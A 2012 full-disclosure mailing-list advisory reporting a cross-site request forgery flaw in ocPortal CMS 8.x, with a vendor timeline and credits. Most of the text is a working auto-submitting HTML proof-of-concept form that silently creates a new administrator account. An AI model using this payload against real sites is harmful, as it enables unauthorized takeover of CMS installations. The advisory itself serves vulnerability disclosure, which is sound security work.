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Message-ID: <CAPYM6VzPGUQRtWsDEGW22u2DaOuye34UMTzy9JbPBBtXxDk9Vg@mail.gmail.com> Date: Sun, 19 Aug 2012 19:15:06 +0800 From: YGN Ethical Hacker Group <lists@...g.net> To: full-disclosure <full-disclosure@...ts.grok.org.uk>, bugtraq <bugtraq@...urityfocus.com>, secalert@...urityreason.com, bugs@...uritytracker.com, vuln <vuln@...unia.com>, vuln@...urity.nnov.ru, news@...uriteam.com, moderators@...db.org, submissions@...ketstormsecurity.org, submit@...ecurity.com, oss-security@...ts.openwall.com Subject: ocPoral CMS 8.x | Cross Site Request Forgery (CSRF) Vulnerability 1. OVERVIEW ocPoral CMS 8.x and lower versions are vulnerable to Cross-site Request Forgery (CSRF / XSRF). 2. PRODUCT DESCRIPTION ocPortal is the website Content Management System (a CMS) for building and maintaining a dynamic website. ocPortal's powerful feature-set means there's always a way to accomplish your vision. Not only does ocPortal's CMS have all the features you'd expect: for instance photo galleries, news, file downloads and community forums/chats, but it does so whilst meeting the highest accessibility and professional standards. It is also smart enough to go beyond page management, to automatically handle search engine optimisation, and provide aggressive hack attack prevention. 3. VULNERABILITY DESCRIPTION ocPoral CMS 8.x and lower versions contain a flaw that allows a remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists because the application does not require multiple steps or explicit confirmation for sensitive transactions for majority of administrator functions such as adding new user, downgrading security settings,..etc. By using a crafted URL, an attacker may trick the victim into visiting to his web page to take advantage of the trust relationship between the authenticated victim and the application. Such an attack could trick the victim into executing arbitrary commands in the context of their session with the application, without further prompting or verification. 4. VERSIONS AFFECTED Tested on version 8.1.2 5. PROOF-OF-CONCEPT/EXPLOIT The following CSRF payload would add new admin user. [HTML] <form action="http://localhost/ocPortal/adminzone/index.php?page=admin_ocf_join&type=step2" method="POST"> <input type="hidden" name="label_for__custom_1_value" value="About me" /> <input type="hidden" name="label_for__custom_2_value" value="Skype ID" /> <input type="hidden" name="label_for__custom_3_value" value="Facebook profile" /> <input type="hidden" name="label_for__custom_4_value" value="Google+ profile" /> <input type="hidden" name="label_for__custom_5_value" value="Twitter account" /> <input type="hidden" name="label_for__custom_6_value" value="Interests" /> <input type="hidden" name="label_for__custom_7_value" value="Location" /> <input type="hidden" name="label_for__custom_8_value" value="Occupation" /> <input type="hidden" name="label_for__custom_9_value" value="Staff notes" /> <input type="hidden" name="label_for__custom_21_value" value="First name" /> <input type="hidden" name="label_for__custom_22_value" value="Last name" /> <input type="hidden" name="label_for__custom_23_value" value="Street address" /> <input type="hidden" name="label_for__custom_24_value" value="City" /> <input type="hidden" name="label_for__custom_25_value" value="State" /> <input type="hidden" name="label_for__custom_26_value" value="Post code / Zip code" /> <input type="hidden" name="label_for__custom_27_value" value="Country" /> <input type="hidden" name="label_for__username" value="Username" /> <input type="hidden" name="username" value="hax0r1" /> <input type="hidden" name="require__username" value="1" /> <input type="hidden" name="label_for__password" value="Password" /> <input type="hidden" name="password" value="p#ssw!123" /> <input type="hidden" name="require__password" value="0" /> <input type="hidden" name="password_confirm" value="p#ssw!123" /> <input type="hidden" name="require__password_confirm" value="0" /> <input type="hidden" name="email_address" value="hax0r@yehg.net" /> <input type="hidden" name="require__email_address" value="0" /> <input type="hidden" name="dob_day" value="1" /> <input type="hidden" name="dob_month" value="1" /> <input type="hidden" name="dob_year" value="1882" /> <input type="hidden" name="require__dob" value="0" /> <input type="hidden" name="label_for__reveal_age" value="› Reveal age" /> <input type="hidden" name="tick_on_form__reveal_age" value="0" /> <input type="hidden" name="require__reveal_age" value="0" /> <input type="hidden" name="label_for__timezone" value="Time zone" /> <input type="hidden" name="timezone" value="America/New_York" /> <input type="hidden" name="require__timezone" value="1" /> <input type="hidden" name="label_for__allow_emails" value="Receive e-mails from other members" /> <input type="hidden" name="allow_emails" value="1" /> <input type="hidden" name="tick_on_form__allow_emails" value="0" /> <input type="hidden" name="require__allow_emails" value="0" /> <input type="hidden" name="label_for__zone_wide" value="Opt to hide the left/right navigation" /> <input type="hidden" name="zone_wide" value="1" /> <input type="hidden" name="tick_on_form__zone_wide" value="0" /> <input type="hidden" name="require__zone_wide" value="0" /> <input type="hidden" name="label_for__theme" value="Theme" /> <input type="hidden" name="theme" value="-1" /> <input type="hidden" name="require__theme" value="1" /> <input type="hidden" name="label_for__views_signatures" value="View signatures" /> <input type="hidden" name="views_signatures" value="1" /> <input type="hidden" name="tick_on_form__views_signatures" value="0" /> <input type="hidden" name="require__views_signatures" value="0" /> <input type="hidden" name="label_for__pt_allow" value="Allow Private Topics from" /> <input type="hidden" name="pt_allow[]" value="2" /> <input type="hidden" name="pt_allow[]" value="3" /> <input type="hidden" name="pt_allow[]" value="4" /> <input type="hidden" name="pt_allow[]" value="5" /> <input type="hidden" name="pt_allow[]" value="6" /> <input type="hidden" name="pt_allow[]" value="7" /> <input type="hidden" name="pt_allow[]" value="8" /> <input type="hidden" name="pt_allow[]" value="9" /> <input type="hidden" name="pt_allow[]" value="10" /> <input type="hidden" name="require__pt_allow" value="0" /> <input type="hidden" name="comcode__pt_rules_text" value="1" /> <input type="hidden" name="label_for__pt_rules_text" value="Private Topic guidelines" /> <input type="hidden" name="pt_rules_text" value="" /> <input type="hidden" name="pt_rules_text_parsed" value="" /> <input type="hidden" name="label_for__on_probation_until" value="On probation until" /> <input type="hidden" name="on_probation_until_day" value="" /> <input type="hidden" name="on_probation_until_month" value="" /> <input type="hidden" name="on_probation_until_year" value="" /> <input type="hidden" name="on_probation_until_hour" value="" /> <input type="hidden" name="on_probation_until_minute" value="" /> <input type="hidden" name="require__on_probation_until" value="0" /> <input type="hidden" name="label_for__primary_group" value="Primary usergroup" /> <input type="hidden" name="primary_group" value="2" /> <input type="hidden" name="require__primary_group" value="1" /> <input type="hidden" name="label_for__secondary_groups" value="Additional usergroup membership" /> <input type="hidden" name="require__secondary_groups" value="0" /> <input type="hidden" name="label_for__validated" value="Validated" /> <input type="hidden" name="validated" value="1" /> <input type="hidden" name="tick_on_form__validated" value="0" /> <input type="hidden" name="require__validated" value="0" /> <input type="hidden" name="label_for__highlighted_name" value="Highlighted name" /> <input type="hidden" name="tick_on_form__highlighted_name" value="0" /> <input type="hidden" name="require__highlighted_name" value="0" /> <input type="hidden" name="comcode__field_1" value="1" /> <input type="hidden" name="label_for__field_1" value="About me" /> <input type="hidden" name="field_1" value="" /> <input type="hidden" name="field_1_parsed" value="" /> <input type="hidden" name="label_for__field_2" value="Skype ID" /> <input type="hidden" name="field_2" value="" /> <input type="hidden" name="require__field_2" value="0" /> <input type="hidden" name="label_for__field_3" value="Facebook profile" /> <input type="hidden" name="field_3" value="" /> <input type="hidden" name="require__field_3" value="0" /> <input type="hidden" name="label_for__field_4" value="Google+ profile" /> <input type="hidden" name="field_4" value="" /> <input type="hidden" name="require__field_4" value="0" /> <input type="hidden" name="label_for__field_5" value="Twitter account" /> <input type="hidden" name="field_5" value="" /> <input type="hidden" name="require__field_5" value="0" /> <input type="hidden" name="comcode__field_6" value="1" /> <input type="hidden" name="label_for__field_6" value="Interests" /> <input type="hidden" name="field_6" value="" /> <input type="hidden" name="field_6_parsed" value="" /> <input type="hidden" name="label_for__field_7" value="Location" /> <input type="hidden" name="field_7" value="" /> <input type="hidden" name="require__field_7" value="0" /> <input type="hidden" name="label_for__field_8" value="Occupation" /> <input type="hidden" name="field_8" value="" /> <input type="hidden" name="require__field_8" value="0" /> <input type="hidden" name="comcode__field_9" value="1" /> <input type="hidden" name="label_for__field_9" value="Staff notes" /> <input type="hidden" name="field_9" value="" /> <input type="hidden" name="field_9_parsed" value="" /> <input type="hidden" name="field_21" value="" /> <input type="hidden" name="require__field_21" value="0" /> <input type="hidden" name="field_22" value="" /> <input type="hidden" name="require__field_22" value="0" /> <input type="hidden" name="field_23" value="" /> <input type="hidden" name="pre_f_field_23" value="1" /> <input type="hidden" name="require__field_23" value="0" /> <input type="hidden" name="field_24" value="" /> <input type="hidden" name="require__field_24" value="0" /> <input type="hidden" name="field_25" value="" /> <input type="hidden" name="require__field_25" value="0" /> <input type="hidden" name="field_26" value="" /> <input type="hidden" name="require__field_26" value="0" /> <input type="hidden" name="field_27" value="" /> <input type="hidden" name="require__field_27" value="0" /> <input type="hidden" name="http_referer" value="http://localhost" /> <input type="hidden" name="pt_rules_text__is_wysiwyg" value="1" /> <input type="hidden" name="field_1__is_wysiwyg" value="1" /> <input type="hidden" name="field_6__is_wysiwyg" value="1" /> <input type="hidden" name="field_9__is_wysiwyg" value="1" /> <input type="submit" value="Submit form" /> </form> <script> document.forms[0].submit(); </script> [/HTML] 6. SOLUTION No fix is available as of 2012-08-19. Workaround is not to visit third-party web sites while administratoring the ocportal application. 7. VENDOR ocPortal Development Team http://www.ocportal.com/ 8. CREDIT This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2012-07-29: notified vendor, vendor did not plan to release fix because of default deployed referer check 2012-08-19: vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5Bocportal_8x%5D_csrf #yehg [2012-08-19] _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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